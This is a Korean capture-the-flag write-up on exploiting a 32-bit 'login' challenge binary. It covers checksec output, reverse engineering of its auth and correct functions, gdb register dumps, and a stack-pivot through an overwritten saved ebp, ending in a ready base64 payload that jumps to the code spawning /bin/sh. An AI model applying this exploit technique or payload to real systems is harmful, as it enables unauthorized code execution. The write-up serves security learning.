바이너리 보안기법 검사 (checksec.sh)
# /home/u32/Desktop/checksec.sh --file ./login RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH ./login |
NX, Stack canary enable 확인
바이너리 리버싱

소스코드를 보면 Base64Decode한 값을 input으로 memcpy 하는 것을 확인할 수 있음.
여기서 auth(v6) 함수의 return 값이 1이면 correct() 함수 실행
correct() 함수 내부는

input의 4바이트 값이 0xDEADBEEF 와 같으면 /bin/sh 실행하게 됨.
if 조건을 확인하는 auth() 함수는 아래와 같으며 함수를 대충 살펴보면 md5 계산한 해쉬 값이 f87... 와 같으면 True를 리턴하는 것 같다.

calc_md5, base64 decode 함수 따라가보면서 값을 tracking 해보려다가 다음과 같이 같은 값을 넣어도 hash 값이 계속 변동되는 것을 확인했다

즉 이 hash 값을 비교해서 correct() 로 넘어가는 게 의미 없는 상황이 됨. 어떻게 /bin/sh를 실행시킬까
여기서 AAAABBBBCCCC 12바이트를 인코딩한 QUFBQUJCQkJDQ0ND 를 입력값으로 넣으면 프로그램이 Segmentation fault를 뜨면서 죽는다.
Program received signal SIGSEGV, Segmentation fault. 0x08049424 in main () |
Error 분석(main() 0x08049424)

Segmentation fault 시 register 값 확인
Breakpoint 2, 0x0804941f in main () (gdb) i r eax 0x0 0 ecx 0x32 50 edx 0x80da684 135112324 ebx 0x80481d0 134513104 esp 0xbfffee60 0xbfffee60 ebp 0x43434343 0x43434343 esi 0x0 0 edi 0x811b00c 135376908 eip 0x804941f 0x804941f <main+274> eflags 0x200297 [ CF PF AF SF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 |
위 레지스터 값에서 보이는 것과 같이 12바이트 중 마지막 4바이트 값이 ebp로 설정된다는 것을 알 수 있다.
이 상황에서 Segmentation fault 뜨는 원인을 찾아보면 leave; ret;은 즉
leave
mov esp,ebp
pop ebp
ret
pop eip
jmp eip
과 같다.
잘못된 ebp의 값이 esp로 들어간 후 pop 명령을 수행하게 되므로 문제가 생기는 상황.
정리해보면
1. ebp를 통한 esp 컨트롤 가능.
2. 2번째 pop 명령 결과가 eip로 들어감.
이 두가지 조건을 이용해 조작가능한 메모리공간 8바이트(dummy 4바이트 + EIP 4바이트)가 추가로 있으면 EIP 컨트롤이 가능할 수 있다
바이너리가 돌고 있는 서버는 ASLR이 적용되어있으므로 스택의 임의주소는 사용하지 못함
main 함수의 코드를 다시 보면 input은 전역 변수이므로 메모리 주소(0x0811eb40)가 고정임을 알 수 있다

Exploit을 위한 입력값은 다음과 같이 구성한다.
AAAA + 0x08049278 + 0x0811eb40
1. 2. 3.
1. dummy 4바이트
2. main() 에서 /bin/sh를 실행하는 주소
3. input 메모리 시작 주소
little endian 이므로 이를 고려하고 base64 encoding 해주면 결과값(QUFBQXiSBAhA6xEI)을 구할 수 있다
(pwntools 이용해서 깔끔하게 코드 짜려다가 다음 기회로...)
결과 확인
